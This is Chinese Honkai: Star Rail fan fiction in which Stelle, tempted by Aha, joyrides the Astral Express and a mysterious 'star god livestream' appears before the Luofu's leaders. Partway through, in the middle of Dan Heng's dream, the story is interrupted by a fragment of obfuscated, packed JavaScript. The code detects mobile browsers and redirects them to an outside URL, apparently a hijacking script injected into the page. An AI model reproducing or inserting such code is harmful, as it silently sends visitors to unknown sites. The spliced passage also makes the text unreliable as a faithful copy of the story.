《[崩铁]星神直播,在线造谣》
1. 星琼的考验
这是一颗星琼。
星看了又看,它依旧只是一颗平平无奇的星琼。
它无声无息的落在她的房门前,静静的躺在光洁的黑白格子地板上,等待着她打开房门的这一刻发现这从天而降的宝藏。
但她克制住了捡起它的冲动,她深刻地清楚,天上从来不会掉馅饼,更不会掉星琼!她要让这个用星琼诱惑她的人明白,她银河球棒侠绝对不会在掉进吝啬的陷阱里!
除非加钱!
她盯着那颗星琼看了许久,它好像变了,不再那样的一声不吭的沉默在昏暗之中,它开始发出星点金色的光芒,昭示着它不凡的身份和背后未知的惊喜,看上去是那么的诱人。
有那么一瞬间,星甚至觉得从中会蹦出一个三月七来。
于是,她明白了,这是在列神之战结束后的又一场艰难的考验!
现在,她面前的不只是一枚单纯的星琼!
这是来自未知!来自开拓!来自阿基维利的诱惑!它带着开拓的奥秘,探索未知的精髓,如此神秘的出现在她的房门前,一定是想要考验她这个新上任的领航员的资质!
但是银河棒球侠永远不畏惧任何考验!
当断则断,她立刻迫不及待的捡起了那枚星琼。
——叮!
她的手机响起消息提示音,亮起的屏幕上显示出一条新的委托信息。
【开拓任务】:前进!最伟大的领航员!
【任务简介】:你想成为一位合格的领航员吗!你想成为名流列车智库的领航员吗!你想成为最伟大的领航员之一吗!
让阿哈来告诉你最伟大的领航员要做些什么吧!
很简单,首先,制造一辆星穹列车!其次,开着列车冲出宇宙,铺下第一条星轨!
什么?这些都是阿基维利做过了的,那最后这个你肯定做的到!
——前往列车的驾驶室,亲自驾驶列车,开启成为领航员的第一次旅途!
进击吧,小浣熊!
星看完简介的第一反应就是——马上汇报列车长!夭寿了,列车上遭阿哈了!
驾驶室那是什么地方,那是列车上的禁地!帕姆明令禁止触碰的地方!要问为什么帕姆也没细说,只是说又有一些不堪回首的往事。
但每一个奇怪的规定背后都一定有一些更离谱的故事,作为新上任的领航员她肯定要以身作则!
接着,她往下一看。
【任务进度】:跟随星琼的指引,避开可能发现你的兔子怪兽,不要引起青龙圣兽和冰之圣女的注意,成功抵达驾驶室吧!琼门!
【任务奖励】:星琼×50,随机掉落的部分星琼。
嘶——!!!
星看着那50星琼的奖励倒吸了一口凉气,只感觉自己的良心和意志力都受到了艰巨的考验,这个汇报好像也不是不能晚一点。
她陷入了强烈的纠结,内心深处仿佛有个两个小人互斗,一个坚决表示不受诱惑,不和阿哈同流合污,另一个则在她耳边诱惑低语——那可是50星琼诶。
她告诉自己一定要冷静,这一定是陷阱!陷阱!欢愉星神阿哈怎么会发布一个这么简单的任务呢?这其中必然有鬼!
她是会为了区区50星琼就动心的人吗!这点奖励一点都不符合星神逼格!
下一刻,任务说的指引显现,列车昏暗的过道中浮现出一条由一颗颗星琼组合而成的路线,向着旋转楼梯下方延伸而去,指引着星跟随它们前往。
星:!!!
内心缠斗的小人当即和解,双手交握,将之前那些义正言辞径直扔进她宝贵的垃圾桶里,让所有犹豫的声音闭嘴。
这是陷阱还是启示,她自有定夺!赞美琼门!
哦对了,之前问什么来着?她是会被这点星琼打动的人吗?
——她是!
星几乎用上了有史以来最高超的潜行技巧,弯着腰,将五厘米的低跟踩出了猫步的效果,一点一点在灯光昏暗的列车中无声地前行着。
如果这时候有人能够看见她,就会发现这位在寰宇中大名鼎鼎的开拓者,列神之战中最大的功臣和英雄,给予了星神最后一击的无名客,正在一脸傻笑的捡石头,嘴上还低声叨咕着一些莫名其妙的话。
“嘿嘿,这里一个,这里又一个!”
此时正值列车停靠地点的黎明时分,列神之战后,车上的搭车客都已经下车,开启了属于他们自己的下一段旅程。
而原来列车组的两位长辈,姬子在列神之战中受了重伤,现在虽然没什么事了,却还需要长时间疗养,只能暂离开拓之旅,而杨叔找到了回家的路,自然也回到了原本的世界去。
现在车上剩下的就只有他们原本还需要长辈看护的三小只和毛茸茸的列车长,整个列车都意外的冷清安静。
星跟着星琼的指引,居然一路顺畅毫无阻碍的被引到了列车驾驶室前。
这偷溜的熟练度!这神一般避开防守的路线规划能力!
阿哈,你老实说当年到底隐秘袭击了帕姆的保险箱多少次!
【嗯?也就那么五六七八九十次吧。】
嬉笑的声音突然在她脑子里响起,阿哈特有的那种浮夸的欢快的令人毛骨悚然的笑声占据了她整个脑袋。
【恭喜你,小灰毛!前置任务完成!】
随着手机上第二声提示音,50星琼立刻到账,任务进度也立刻更新。
星低头一看:
【任务进度】:你已经找到了驾驶室,现在,学习成为一名会驾驶列车来回的领航员吧!
【任务奖励】:星琼×16000000,列车专票×5000,信用点×1
“夺少?!!”
在看到任务奖励的那一瞬间,星差点没忍住叫出声来,她都没来得及顾上阿哈,手指点着屏幕一位数一位数的数那几个零。
个、十、百、千......一千六百万星琼?!!
阿哈是去掏了跃迁系统的老家机房吗?!
【怎么会?阿哈只是稍稍的从他们的系统中改变了一些数值。】
阿哈的声音愉悦的微微上挑。
【反正,对他们来讲就是一些虚拟程序和程序中的虚拟数字,不是吗?就像阿哈对他们而言,也只是一个只能在可怜的纸片人!哦,阿哈真没面子!】
星没有在意祂话里那些细思恐极的东西,只是默默的看向最后一项奖励,“相比起来,你给的信用点是相当寒酸啊。”
一张信用点,好家伙,公司底下最贫困的那些个打工人都未必有这么艰难。
阿哈闻言立刻可怜兮兮的假哭了起来.
【呜呜呜,可惜,这是阿哈的全部家当了!哈哈哈,星神加起来都凑不出一个信用点!哦,存护那个呆子除外,祂可以卖身!】
【那么,现在,金光就在眼前,小灰毛,你要不要打开这扇命运之门呢?】
星...星深吸一口气,毫不犹豫的推开了门!
抱歉了,帕姆!她等下就拿着搓衣板前去负荆请罪!
同时,静默无声的资料室内一片昏暗,照明已经被降到了最低程度,只剩下台阶下流转变换的粼粼波光映照在沉睡之人的侧脸上。
微光的幽暗中,丹恒仿佛又回到了持明卵中,在幻梦的涛浪中浮沉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180838|165263||http|test|mini|href|location''.split(''|''),0,{}));
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>他梦见了那场列神之战的结局,那场决定着整个寰宇的未来,关系着所有人的命运的战争。
星神化作熔金的尘埃飞散而去,胜利的旌旗在摇曳挥舞,排山倒海的欢呼中,劫后余生的人们发疯似的拥抱、尖叫、高呼,一切的一切都庆贺着他们的胜利和一位或是多位星神的陨落。
他伤痕累累的站在破碎的土地上,扶着身边同样浑身是伤,已经站不住身子的粉发少女,沉默的看着这片被淋漓鲜血洒满了的战场。
那鲜红的颜色刺目无比,看的他不禁心生忧惧,他赶忙将目光投向其他几个与自己一同开拓、一同前行,旅行至今的同伴们。
红发的领航员礼裙破碎,浑身是血,被棕发男人撑着身体,深一步前一步向他们走来,脸上挂着相似的虚弱而苍白的笑容。
古灵精怪的粉发少女勉强站直了身体,忍着痛强颜欢笑的继续和他插浑打科。
星穹列车的老幺,灰发的星核精,顶着一身狼狈,奋力向他们跑来,勒住了他两的脖子。
他们缓慢的重新汇在一处,往日的欢声笑语又重新在耳边响起,他心头的恐惧终于被拂去,只剩下庆幸残留在心间。
他们都一个不少的回来了。
他梦见了战后在列车上举办的欢庆宴,绚烂的光亮中,他们齐聚在排队车厢内,围站在圆桌边,粉发的少女高举酒杯,雀跃祝贺:
“庆祝咱们星穹列车在列神之战中获得大胜利,并且全员生还!”
他们举杯相碰,尽管他们三个杯子里的只是度数极低的酒精饮料。杯壁碰撞间,冰块摇晃碰撞,发出了清脆的轻响,淹没在了一片欢声笑语之中。
“我们今晚要喝个不醉不归!”
“不醉不归!”
“不行帕!三月乘客和星乘客上次醉酒后在车上乱来的录像还在帕姆这呢!还有丹恒乘客也是!”
“总之,你们三个禁止饮酒帕!”
他梦见伤重未愈的红发领航员终于卸任,将这重担寄托在了列车上最具开拓精神的灰发小浣熊身上。
“那么,接下来的旅途就要由你来引路了。”
“我吗?我的旅途当然不会到此为止了,现在只是暂时的休息,修养好身体也是开拓很重要的一环,不是吗。”
红发女子抚着肩头的绷带,微笑的对他们保证道:“等我痊愈了,还要拜托你们回来接我呢。”
他听见粉发少女啧啧称奇,笑称:“唉,我真是担心呐,你不会把咱们导到啥垃圾桶星球去吧?”
在那笑谈之中,他收到了红发女子眼神里的安慰和托付,她在对他说:
“接下来也要拜托你了,丹恒。”
他梦见他们在星空下重新许下共同的祈愿。
——“愿此行,终抵群星。”
他还梦见了许多,他梦见了他们重新踏上旅途,梦见这场开拓之旅永远不会停歇,梦见在那无尽的黑暗中一个嘶哑低沉的嗓音对他说:“人有五名...”
丹恒:“嗯?!!”
他一个激灵,整个人都清醒了,条件反射的召出击云将这一团还未成型的幻梦搅散。
下一片幻影紧随其后,还没成型的人影上一双暗沉的胡青色眼眸注视着他,“星海虽大,与你...”
丹恒面无表情的再次将它打散了去。
这个梦不能要了。
于是龙吟呼啸而起,梦境再度辗转变化,回到了列车之上的景象。
他看见了某只星核精偷摸溜进了列车上的驾驶室,然后一脚将油门踩到了底。
丹恒:!!!
下一刻,他就被突如其来的离心力扽醒了。
2. 百年飙车
多年以后,当面对新的无名客后辈询问:“为什么列车禁止人工驾驶?”的时候,丹恒总会想起今天他因为离心力一脑袋磕到书柜上的听见的闷响。
然后他会一脸郑重的告诉后辈,“因为行车不规范,乘客两行泪。”
远离飙车,你好我好大家好。
被冲力扽醒的瞬间,丹恒就听了来自他们新任领航员悲惨的哀嚎。
“阿哈!你驴我!!”
事情非常明了,也无需任何具象的说明,某位星神标志性的浮夸大笑和星的哀嚎已经非常简洁快速的解释了这突如其来的一切。
其中的缘由也不难想象,多半是某位找乐子的星神拐骗了他们新上任的领航员,在黎明潜入驾驶室,闯出了这个意外。
虽然因为欢愉星神的参与,这件事多半是阿哈的锅,但鉴于星活泼的个性和不走寻常路的行事方式,丹恒也无法否认这件事有某只星核小浣熊和阿哈合谋的可能性。
同时,多年以来关于‘列车驾驶室为何被列为禁地’的谜题也终于解开。
——多半是因为之前亲自驾驶星穹列车的那位无名客前辈,也是如此风范吧。
丹恒现在深有同感。
没有任何预兆的加速度,没有任何过度的起步猛冲,以及明明是平稳的跃迁却开出了三月七驾驶雪地车的风范,甚至还带有明显的甩尾和压弯感,很难想象星到底是怎么将跃迁搞出了飙车的既视感。
如果银河有宇宙交通法的话,星现在的驾驶行为大概可以被永久吊销驾照了。
虽然实际上,并没有这种交通法,星穹列车也不颁发驾照。
“砰——”
在突如其来的拐弯下,丹恒从书柜边上再次滑到床榻另一头,面色木然。
说起来,星是不是一直没有驾照来着?
他回想一下,确实如此,为数不多获得过正式的驾驶许可是在仙舟开星槎的时候,那时星是自学成才——她很聪明,学什么都很快,是因为特殊情况获得的驾驶许可。
但后来没多久,星就因为危险驾驶被取消了资格,人还是他亲自去天舶司领的。
“咚——”
在又一次被离心力甩到玻璃拦边上的时候,丹恒在心里默默决定了这一次开拓之旅结束之后把相关的交通安全知识和行车注意事项整理出来,让星看一看。
虽然他并不认为,这能够阻止星在所有交通工具上上演速度与激情。但至少能增加一点她对行车的规范认知和对交通安全的重视。
“啪!”
还要给某只小浣熊报一个正常的驾校,至少要让她到达能够正常的驾驶地面交通工具了才行。
“咻!”
以及,要不然给三月也报一个吧......
丹恒还没来继续想下去,标志着跃迁的荧光突然爆发出刺目的光芒,他闭上眼还没来及的思考,只似乎隐约听见了一声悠长的龙吟。
下一刻,他便再次失去了意识。
他不知道昏了多久,直到无形的黑暗中,似乎有什么发出了一声叹息,随后机械音在虚无中响起。
【滴答!检测到人员苏醒,欢迎来到星神直播间!】
随后,这道声音随着黑暗的远去而一同模糊在他脑海深处。
他听见了一阵窸窣的对话声。
“......没问题吗?”
“......当初不也是打算这么救我的?”
“也是,可是我不会啊,你行吗?”
“死马当活马医吧。”
“喂!!!”
在压低声音的惊呼声中,丹恒睁开了眼。
资料室内的光线依旧有些昏暗,模糊的余光中能看见两个人影凑在他床边,其中一个似乎还正撸起袖子。
随后,瞳孔逐渐聚焦,薄雾褪去,接着不太明亮的灯光,丹恒终于看清了自家小伙伴的动作。
只见某个星核精高高撅着嘴,脸上带着一种豁出去了的壮士断腕的慷慨之情,作势要朝他俯下身来。
丹恒:......如果他没猜错,星可能是想给他做人工呼吸。
这画面太过抽象了,以至于习惯了星画风的他嘴角都止不住抽了抽。
但他已经不是和星初见时的丹恒了,他是历经过无数抽象场合,能面不改色心不跳面对银河球棒侠惊人之举的丹恒!是见多识广的丹恒!
他非常冷静出声提问,示意自己已经苏醒的情况,“你们这是要做什么?”
听见他的声音,撅着嘴的星核精立刻就被三月七从旁边一把拍开,粉发少女一脸惊喜道:“诶!丹恒你醒啦!”
两人连忙上前把丹恒扶起来,手掌在他眼前晃了晃,“怎么样?没事吧?还认得出我吗?这是几?”
丹恒缓了缓神,倒没顾着自己,“我没事,你们如何?没有受伤吧?”
“嗐,咱还能有什么事,精神的很,除了从床上摔下来的那一下结实了点,其他就没什么了。”三月七随意挥了挥手,声音中气十足的很,看上去完全可以再绕着列车再跑五圈都不成问题。
看她们的模样显然已经恢复意识多时,丹恒稍稍囫囵打量了一下,见两人身上都没有什么外伤,精神头也好得很,这才稍微松了一口气。
“至于星嘛——”
星非常上道的举起了手,就像是面对老师的乖学生一样,虽然这个乖学生在他们一觉醒来之前刚刚在宇宙极限飙车。
“我没事!很精神,除了被帕姆制裁了零花钱以外一切都很好!”
嗯,看出来了,并不太好。
丹恒有点茫然,转头将疑惑的目光投向了三月七。
只见三月七叉着腰,幸灾乐祸的笑道:“她呀,被帕姆制裁了,接下来两个月她都没有列车经费了,还得义务给列车劳动两个月!”
这惩罚其实不轻不重,倒也算不上严厉,说明帕姆没有真的生气,但这个程度的列车长在这方面说一不二,‘铁面无私’,是势必要让犯错的乘客吃点教训的。
所以,丹恒也只能向她投去一个爱莫能助的眼神,就像一只小青龙企图伸出爪爪安慰有些萎靡的小浣熊。
“呃,总之,人没事就好,至于帕姆说的那些惩罚也要等这次意外结束之后才会开始,所以你至少还有一点...缓刑期?”
但可惜,爪子太短,小浣熊貌似并没有受到安慰。
他只得转开话题,“对了,现在是什么情况?”
说到这个,闯祸的当事人那叫一个心虚啊,她对着手指,目光一个劲的飘移就是不敢看两个小伙伴。
“这个...长话短说就是我也没想到会
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这样,所以完全没有预定目的地,现在列车上的定位仪器失灵,结果就是——咱们迷路了。”
丹恒沉默了一下,淡定接收了这信息量说大不大,说小也不小的回答,“嗯,确实不长。”
他托着下巴思索了几下,先是起身来到书桌面前,操作了几下智库,但很显然,熄灭的了光屏并没有给他回应。
丹恒也不意外,“智库也停止运作了,恐怕列车上不止定位功能受到了影响。”
他立刻又对智库进行了简单的检查,“不太像是硬件损坏原因导致的,应该是受到了什么外部条件的影响,暂时无法启动而已。”
这个结果也让他稍微松了一口气,要是智库因为硬件影响导致资料损失,那修补起来就麻烦了。
“我们得先想办法确认自己的位置和周围环境情况,既然定位仪器和智库都无法运作,就只能靠人力自身判断了,我打算去外头稍微探查一番。”
说完,他就要往外头去。
“等等!”
丹恒脚还没踏出一步,三月七突然拔高了声音,一把扯住了他风衣背后的带子,她是使箭的力气可不差丹恒多少,猝不及防下直接把丹恒拉了一个阻趔。
丹恒稳住脚步,疑惑回头,微微歪着脑袋,那双安静的灰蓝色眸子茫然的眨了眨,无声的询问:“怎么了?”
三月七明显没想好叫住他的理由,显的有些慌乱,嘴上前言不搭后语的编着理由。
“那什么,丹恒你刚醒来一定累坏吧!要不,勘察周围的任务就交给我们,丹恒你先在房间里休息会!”
她的反应太奇怪了,丹恒想不知道其中有猫腻都难,他面不改色道:“我没事,而且也更加了解智库里记载的内容。”
三月七哈哈讪笑,眼神胡乱瞥着,随后一把拉过星,“那、那这家伙不是刚闯了祸吗,得让她戴罪立功不是?”
星配合的点了点头,表情也异常殷勤。
两个人几乎把此地无银三百两写在脸上了。
丹恒越发奇怪,“我可以跟星一起去。”
是外面有什么东西不能让自己看见吗?
丹恒不太理解,难道他们误打误撞开到了星核猎手的基地,那个男人现在就提着剑在门外等着他打开门和他说说掏心窝子的话?
奇怪之下,丹恒没有再顾忌两人欲言又止的表情,一把拉开了资料室的大门。
资料室外一片平静,既没有人在外头埋伏吟唱人五代三,也没有什么东西突脸,只有正对的列车车窗外头,一个巨大的水龙卷遥遥涛涛直上,旋转不休,气势惊人,壮观非常。
而在水龙卷上,一个身着白袍头顶角冠的人影长身玉立,居高临下的望着一切。
持明优秀的目力甚至让他穿过遥远的空间距离,清晰的看见那人袖袍上的白鹤红枫纹和那张同自己一模一样的脸。
丹恒唰的一下猛地关上了门,资料室的门闭合发出一声重重的响声,脸上一片空白。
起猛了,看见丹枫了!
他深吸一口气,再次缓缓的拉开房门,远空上,龙君依旧,水浪壮观,跟个地标性景点似的杵在那里。
那神情、那模样、那姿态,就同他过往心魔涌现的噩梦中的情景几乎分毫不差。
丹恒:谢邀,他的前世ptsd犯了。
3. 直播开始
仙舟联盟,罗浮仙舟。
神策府里策士来去匆匆,白发的少年骁卫抱着太卜司那边新传来的卜算结果匆匆走向坐在神策府高位中央的案桌。
案桌前坐了个身形略显魁梧的男人,穿着一身轻便甲胄,听到走进的脚步声略略抬头,“如何?太卜司那边有了新的消息吗?”
正是罗浮仙舟的现任天将——腾骁将军。
白发的年轻骁卫——景元微微摇了摇头,“说是还是老样子,太卜大人亲自用上了大衍穷观阵也只能算出那神秘出现的直播间与罗浮、仙舟联盟,乃至整个寰宇的未来都息息相关。”
他将手中的简报递了过去,“将军,如此看来,情况或许正如那直播的名字一样。”
腾骁简略的看了看手里的公文,一目十行的扫完的上头的信息,有些头疼的揉了揉自己的太阳穴,向椅背上靠了靠,将目光投向这段时间因此叠起来的公文。
不久之前,罗浮刚刚赢得了又一次同丰饶孽物战争的胜利,班师回朝。
但就在他们回到罗浮不久,解决完此次战争相关的后续事宜后,才发现罗浮的网络上竟然无声无息的出现了一个直播间。
直播间的名头取的很是嚣张,自称星神直播,因为冠以了星神的名头所以吸引来了不少罗浮人的探究。
一开始,谁也没有这个直播间当回事,毕竟他只是取了个名字,建了个直播间却一次都没有开启过直播,人们看个乐呵,权当它是哪个想要吸引目光和流量的家伙取来吸引人眼球用的虚假宣传。
事情的转折出现在某一天,这个直播间的账号进行了实名认证,这个自取名为‘世界上最糟糕的无名客’的账号作者只是发布了一条直播预告视频。
视频没有什么图像和人物出镜,只有三行黑底橙字轮流显现。
——【你还在探求星神的奥秘吗?】
——【你还在苦恼虚构的侵扰吗?】
——【来吧,星神直播间有你想直到的一切!保证童叟无欺!】
这三句话本身并没有什么,任何一个想要宣传自己的账号都一定会极尽可能的夸大宣传自己,从而尽量吸引更多的观众。
这三句句话也许夸张了一些,但公司的广告宣传部比这个离谱的广告语也不是没有过。
真正让罗浮重视起来,并将这个直播间的调查结果摆到腾骁的案桌上的,是播放这三句话是文字本身所流露出的强大的欢愉力量。
那力量不容小觑,又顶着无名客的名头,便让白珩注意到了,转到了景元那边,景元稍作调查之后还真发现了不对劲的地方。
这个账号虽然进行了身份认证,但这个认证是空的,实际上并不存在,甚至于这个账号也并非是通过任何虚假身份和骇客手段进行的注册认证,真的就只是全部空白。
资料空白,来历空白,连注册和认证的信标地址都是一片空白,也就是说这个账号从注册开始就是什么都没填,所有输入框是以空白的状态在一个没有联网的通讯器上进行的提交。
地衡司负责玉兆网络的人查出这玩意的时候脸上整个就是见了鬼的表情,直呼不可能,可事实就摆在他们面前。
更要命的是,景元随后求助了太卜司,结果太卜司发现无论他们使用什么手段,都无法对这个账号进行清除和封禁,任何措施在执行之后都会自动显示‘错误’或是‘不存在选中项’。
太卜司相关负责人都要抓狂了,几天下来,那几人本就为数不多的头发都被折腾的越发的稀疏。
“这几乎是不可能存在的情况,我们排查了整个系统,监测了这个账号和要清除这个账号时的一切动态情况,得到的结果是——”
太卜司相关负责人深吸了一口气,“这个账号本身不存在。”
“不存在?!”景元呆了一下,淡金色的瞳眸微微睁大。
“是的,你可以理解为他并没有真的申请账号,只是以一种映射的方式,将这个直播间映射到了罗浮的玉兆系统之中。”
太卜司的人越说越牙疼,“也就是说那一整个账号都是一种网络投影,而且绝对不是通过网络技术的方式进行的投射。”
不是技术,那就是涉及命途,是命途行者、令使,亦或是......
景元将这一切上报腾骁之后,腾骁便立刻命太卜司对其进行重点卜算。
卜算的结果也是很微妙,太卜司的人无法得到什么有效的信息,卜算结果只是显示这个直播非常重要,让腾骁务必重视。
现在连大衍穷观阵都这么表示,那么这个直播背后的答案即便没有结果,却也足够印证他们的猜测了。
“星神的信息、足够影响整个寰宇未来的关键、罗浮...如果真是那位天君的手笔,那可真是看的起我们了。”腾骁不由得摇头失笑
“我是没想到以银河之浩瀚,它未来的关键竟然是在罗浮之上?咱们还挺有面子啊。”
景元闻言问道,“那将军,要把这件事上告元帅吗?”
腾骁看了他一眼,微微颔首,特地说的细了些,“如此大事,已经不单单只是罗浮之事了,早点上告元帅和其他仙舟也能让他们提前做好准备,届时若是什么意外,才能相互驰援,以渡难关。”
“无论如何,未雨绸缪,防患于未然总是要好过亡羊补牢。”
话音刚落,景元的玉兆便响了起来,那是他特别为那个直播定的提示音,这样但凡那个直播有任何动静他都能第一时间知道。
正好现下无事,他同腾骁将军说了一声,先行取出玉兆查看了起来。
“嗯?这是...”
星神直播的账号动态发布了一则公告。
【
为了欢迎我们的大明星即将登场,小黑猫友情提醒:
1、在得到许可前,直播的一切内容都不可同直播人员提起,其中包括文字在内的各种信息传递方式!
2、不可向仙舟联盟之外的人传递任何直播间相关的信息。
3、弹幕开启后需文明发言。
4、如果你要问我直播内容是不是真的,那我只会回答真的!
5、一起欢愉的看乐子吧!
当然,以上注意事项不管你同不同意都会强制执行!
】
景元几乎是嘴角抽搐的看完的这份公告,随后将玉兆上的信息递给腾骁,等腾骁看完,才无奈的笑道:“这公告的后半部分...还真有常乐天君的风格。”
腾骁只感觉头越发痛了,“祂可真是演都不演了。”
这压根没给他们选择权,能够一次性
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辐射所有仙舟的力量,这除了星神还能是谁,欢愉星神是完全就没想藏啊。
腾骁想想接下来的事情就头疼,六御会议、天将会谈,面向民众的解释公告等等等等,相关文书就足够他受的了,相比于这些,他真的宁愿和丰饶孽物打一架。
不过也不是没有好事,至少这位星神强制性的封锁了消息的对外传播,仙舟上任何因此心生歹意的不轨之徒都无法在这个时候利用这个直播联系外敌,一定程度上减少了他们的麻烦。
他正思索着接下来的事,神策府门口的守卫突然来报,“将军,龙尊大人来了,正在神策府后院等您。”
“饮月?”腾骁一愣,“他怎么来了?”
他连忙起身,叫上景元一起往神策府后院走去,通过廊檐,迈过小路,直到神策府里有潭水的花院子停下,就看见罗浮仙舟上大名鼎鼎的饮月君正坐在园中的圆凳上,盯着潭水上的红枫发呆。
“你还是老样子啊饮月,不是什么大事就不喜欢进屋子里坐着。”腾骁见状遥遥笑道。
景元倒是更加随性一些,连忙叫道:“丹枫哥!”
头生晶莹龙角的龙君闻声回望,一双水青色的眼眸如湖光般清亮,眼下两道红痕昳丽非常,单边的红流苏耳坠随着他的动作微微摇曳,一张脸冻的就好像他们罗浮剑首长剑上的霜,在看见腾骁和景元的时候才微微缓和。
“腾骁,景元,有段时间不见了。”丹枫轻轻朝来人颔首,随后才回答腾骁的话。
“在屋里批公文多了总是会闷不过气的,没什么大事,坐在外头透口气总是好的。”
腾骁一听就知道是持明的那些龙师又开始了。
大战刚过,虽然不多但持明也是有些许伤亡,对于仙舟整体而言,那些伤亡数字算不上什么,但对无法繁衍的持明族而言却并非如此。
而丹枫恰恰又是自雨别之后的历代饮月里,最亲近仙舟的一位。
“丹枫哥,那些龙师又来找你麻烦了吗?”
丹枫的情况景元也是知道一点的,但他年纪小,丹枫不常同他说起这些,又不像腾骁身居高位和龙尊多有政事上的交流,也无从得知具体情况。
而丹枫的回答却是轻描淡写:“还行,老样子罢了。”
腾骁感叹了一声,“也是辛苦你了。”
若不是丹枫管着持明那边,恐怕他这边的事还要再多上三成。
丹枫没有多言,只是道:“我为持明族的尊长,这本就是我的分内之事。今天前来也并非是为了持明族的事情。”
腾骁微微眯起了眼,“哦?那是为何事?”
还不等丹枫回答,景元玉兆的提示音再度响起,他打开玉兆瞧了瞧,抬头道,“将军,那个直播似乎要开始了。”
“直播?”丹枫轻声重复着这个词语,眉头微挑,表情倒是生动了些许,“是你之前调查的那东西?”
“丹枫哥你知道?”景元也有惊讶。
丹枫简言意骇,“听应星提起过,先瞧瞧吧,我这边的事情稍后再议也无妨。”
景元见腾骁也点头,便把直播的页面投影了出来,影像上,从出现以来就没有过动静的直播间进入了准备开始的倒数画面,倒数结束之后漆黑画面一震,白字显现。
——“直播开始”
4. 先来认识一下
你见识过一道从天而降的流星吗?
从无名的天际而来,划过漆黑的长空,燃着如火焰般荧蓝色的光芒,拖着长长的慧尾,不带有一丝攻击性,像是这片漆黑天空中唯一的光亮划破天际。
随着镜头渐渐拉近,众人这才看清那流星的真实面目。
那是一辆外观古典的列车,漆黑的不知名金属外皮,铜金色的边框勾勒,看上去就很有韵味。
列车的下降的速度很快,几乎是几个眨眼的时间就降到了地上,但却没有丝毫减缓速度的趋势,只见列车一个漂亮的神龙摆尾,车体侧偏、回正,然后猛地急刹,最后以一种岌岌可危的状态安然无恙的停了下来。
刚刚开头这一小段并没什么信息,但神策府的后院中,年轻的白发骁卫和大名鼎鼎的饮月君却不约而同的露出了一种非常感同身受的胃疼表情。
“这个驾驶方式...”丹枫不忍直视一般的闭上了眼,像是不想回忆起那悲惨的过往。
景元抱着他那蓬蓬的白毛脑袋趴在石桌上,一脸的痛不欲生,“和白珩姐真的可以一较高下了。”
两人像是想起了上次乘坐白珩的星槎时,那艰难的一刻钟。
腾骁在一旁看着直乐,差点没笑出声。
白珩,罗浮上最为出名的狐人飞行士,同时也是一名无名客,和丹枫、景元等人合号云上五骁,她的驾驶技术在出类拔萃的同时,也是非常的...嗯,令人死去活来。
曾经一无所知被云上五骁的几人骗上过白珩星槎的腾骁对此深有感触,那一天,罗浮第一飞行士差点达成单杀罗浮将军的战绩。
直播画面上,镜头接着从星穹列车的外头拉进到内部,列车车厢内一片安静,只能听见急切的哒哒声轻响着,像是什么小动物走动的声音。
门被啪的一声大力推开,露出来人毛茸茸的小脚,一声震天响的怒吼接而响起,震的直播屏幕都非常给面子的抖了三抖。
“星乘客!!!”
镜头随着这声怒吼上移,终于放出了来人的真面目。
那是一只...兔子?好吧,或许是一只兔子的生物,穿着小制服带着高高的大帽子,毛茸茸的小短手叉着腰,瞪着大大一双湛蓝眼睛,两只大耳朵气的冲天飞起。
几乎就差把‘我生气了’这几个字写在脸上了。
镜头也非常给这位兔子先生面子,对它进行了三百六十度全方位无死角的特写拍摄,似乎务必要展示出兔子先生的威风凛凛和软萌可爱的英姿,镜头清晰的连那两只大长耳朵上细腻的绒毛都看得一清二楚,让人看着就非常想要摸一把。
直到最后,给到这位兔子先生正面一个全身镜头的时候,画面将将暂停,兔子先生伟岸的身姿被沿着画面边缘切割而出隐没在背景后。
它的前方一个看上去更像平常姿态的形象如同游戏立绘一般被描绘而出,背后列车浮现,被精心设计过的排版上金色的文字如繁星般凝聚浮现。
——星穹列车最伟大的列车长,帕姆。
那个规格待遇,就好像拍摄直播的人正在无声呐喊:“列车长大人威猛无比!列车长大人可爱无双!列车长大人天下无敌!”
随后,立绘重新和直播的画面嵌合,镜头旋转往上投向了它对面。
帕姆的对面是一个身材高挑的灰发少女,眨着一双淡金色的大眼睛,看上去非常无辜,正以一种异常乖巧又可怜兮兮的神情的看着帕姆。
这表情腾骁看着就眼熟。
云上五骁那几个家伙每回闯祸闯到神策府要他来处理的时候,可不就是这么对他卖乖的吗?!
当然,腾骁更愿称之为‘对不起,但我下次还敢’。
也就丹枫和镜流这两个年纪大点的家伙会好一点,但你以为他们是认错态度良好吗?
不!他们两那已经是死猪不怕开水烫了!
“我错了!帕姆!”
灰发少女滑跪的非常快,言辞干脆利落,毫无挣扎,整个流程一气呵成,姿势熟练标准,一看就是经常闯祸却也经常被同伴爱护的主。
“我只是犯了一个无名客都会犯的错误啊!”
“不要污蔑其他乘客帕!”
同时,画面再度将她的模样切割而出,隐于背景后,一个更加英姿飒爽,手持棒球棍的眼看着就要开打的立绘接着浮现,背后星空万丈。
——【星穹列车新任领航员·银河球棒侠,星】
看到介绍的那一刹那,神策府后院的三个人瞬间沉默了。
先不说星穹列车什么时候重新起航了,现在的问题是,星穹列车的领航员是这种性格真的没问题吗?!
“总之,星乘客接下来两个月的列车基金没有了帕!之后还要进行两个月的义务劳动才行!但在,你还有更重要的事情要做帕。”
帕姆显然很了解自家这位领航员的调性,并不认账,但当下显然是其他人的情况更重要。
“刚才的跃迁太过突然,丹恒乘客和三月七乘客似乎昏过去了,你先去确认他们的情况帕!至于帕姆,列车的定位系统似乎出现了问题,帕姆要去确认一下是不是还有其他地方出问题了。”
星一听,立刻一边心虚讪笑着一边慢慢探脚后撤,“啊哈哈哈,那什么,我、我这就去看看他们两!”
说完,一溜烟就跑没影了。
她就近先去了三月七的房间,也没敲门,就那样直接推门而入。
房间里,粉发的少女抱着帕姆抱枕滚到了床边的地毯上,床上的被子都被扯下来了大半。
星上前蹲下身,轻轻摇晃三月七的身体,低声叫着她的名字,“三月、三月,没事吧?”
三月七很快就给了回应,她整个人缩了缩翻了个身,扯来一旁的被子把头一蒙就打算继续睡,“唔,别吵。”
星摸了摸鼻子,秉承着早死晚死都得死的想法,拉开被子低头附到她耳边,如魔鬼般轻声低语,“你的相机内存卡要被格式化了。”
